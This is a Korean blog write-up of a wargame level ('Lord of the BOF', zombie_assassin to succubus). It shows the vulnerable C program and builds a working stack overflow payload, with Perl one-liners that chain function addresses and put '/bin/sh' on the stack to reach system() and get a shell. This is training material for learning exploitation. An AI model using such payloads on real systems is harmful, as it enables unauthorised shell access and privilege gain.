본문 바로가기
Wargame(CTF)

Level17. ZOMBIE_ASSASSIN -> SUCCUBUS

by Hide­ 2015. 2. 18.
반응형

먼저 소스를 확인해본다.


[zombie_assassin@localhost zombie_assassin]$ cat succubus.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - succubus

        - calling functions continuously

*/


#include <stdio.h>

#include <stdlib.h>

#include <dumpcode.h>


// the inspector

int check = 0;


void MO(char *cmd)

{

        if(check != 4)

                exit(0);


        printf("welcome to the MO!\n");


        // olleh!

        system(cmd);

}


void YUT(void)

{

        if(check != 3)

                exit(0);


        printf("welcome to the YUT!\n");

        check = 4;

}


void GUL(void)

{

        if(check != 2)

                exit(0);


        printf("welcome to the GUL!\n");

        check = 3;

}


void GYE(void)

{

        if(check != 1)

                exit(0);


        printf("welcome to the GYE!\n");

        check = 2;

}


void DO(void)

{

        printf("welcome to the DO!\n");

        check = 1;

}


main(int argc, char *argv[])

{

        char buffer[40];

        char *addr;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // you cannot use library

        if(strchr(argv[1], '\x40')){

                printf("You cannot use library\n");

                exit(0);

        }


        // check address

        addr = (char *)&DO;

        if(memcmp(argv[1]+44, &addr, 4) != 0){

                printf("You must fall in love with DO\n");

                exit(0);

        }


        // overflow!

        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);


        // stack destroyer

        // 100 : extra space for copied argv[1]

        memset(buffer, 0, 44);

        memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));


        // LD_* eraser

        // 40 : extra space for memset function

        memset(buffer-3000, 0, 3000-40);

}



일단  if(strchr(argv[1], '\x40')) 때문에 라이브러리 영역의 주소를 사용할 수 없다. 그리고


memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100)); 를 통해 RET 이후에 100까지 사용할 수 있음


을 알 수 있다. DO 함수를 실행시키면 check 변수가 1로 설정되고 GYE 변수를 실행시키면 check가 2로 설정된다.


이런식으로 연쇄적으로 함수를 호출하여 MO 함수에 있는 system을 통해 쉘을 실행시키면 되는 것 같다.


nm succubus를 통해 각 함수의 주소를 알아보면 아래와 같다.



DO = 0x080487ec


GYE = 080487bc


GUL = 0804878c


YUT = 0804875c


MO = 08048724




A(44바이트) + DO 함수주소 + GYE 함수주소 + GUL 함수주소 + YUT 함수주소 + MO 함수주소

(./succubus `perl -e 'print "a"x44,"\xec\x87\x04\x08","\xbc\x87\x04\x08","\x8c\x87\x04\x08","\x5c\x87\x04\x08",

"\x24\x87\x04\x08"'`) 


먼저 이렇게 실행을 해본다.






처음 문제를 풀 때에는 DO함수주소뒤에 바로 GYE함수주소를 넣었을때 연쇄적으로 호출되는게 이해가 가지 않았다.


DO 함수의 에필로그에서 ret(pop eip/jmp eip) 때문에 다음에 들어있는


GYE함수가 Return Address로 설정되서 그런것이었다.


일단 MO함수까지 실행되는걸 확인했으니 페이로드를 구상해보자.


A(44바이트) + DO 함수 주소 + GYE 함수 주소 + GUL 함수 주소 + YUT 함수 주소 + MO 함수 주소 + AAAA + /bin/sh주소


이런식으로 해야하지만 라이브러리 영역의 주소를 쓸 수 없기때문에 직접 스택에 /bin/sh 를 올리고 해당 주소를


주는 방식으로 문제를 풀겠다.


먼저 succubus 파일을 복사하고 해당 파일을 통해 core 파일을 생성하자.



./succubua `perl -e 'print "a"x44,"\xec\x87\x04\x08","\xbc\x87\x04\x08","\x8c\x87\x04\x08",""\x5c\x87\x04\x08",

"\x24\x87\x04\x08","AAAA","\xaa\xff\xff\xbf","/bin/sh"'`





esp 부분을 살펴보면 바로 우리가 임의로 설정한 주소(0xbfffffaa) 와 /bin/sh 문자열이 보인다. (0x6e69622f ~ )


스택에 올린 /bin/sh 문자열의 주소(0xbffffc68) 를 찾아냈으므로 최종적으로 페이로드를 구성하면 아래와 같다.



A(44바이트) + DO 함수주소 + GYE 함수주소 + GUL 함수주소 + YUT 함수주소 + MO 함수주소 + AAAA + /bin/sh 주소 + /bin/sh


(./succubus `perl -e 'print "a"x44,"\xec\x87\x04\x08","\xbc\x87\x04\x08","\x8c\x87\x04\x08","\x5c\x87\x04\x08",

"\x24\x87\x04\x08","AAAA","\x68\xfc\xff\xbf","/bin/sh"'`)





here to stay

'Wargame(CTF)' 카테고리의 다른 글

[2015 Codegate] Owlur (Web 200) 부엉이  (0) 2015.03.17
Level18. SUCCUBUS -> NIGHTMARE  (0) 2015.02.18
LOS Gremlin ~ AllClear  (0) 2015.02.05
[2014 ChristmasCTF] 산타의 일기장 풀이  (1) 2014.12.25
[2014 Whitehat Contest] Write-Up  (0) 2014.11.13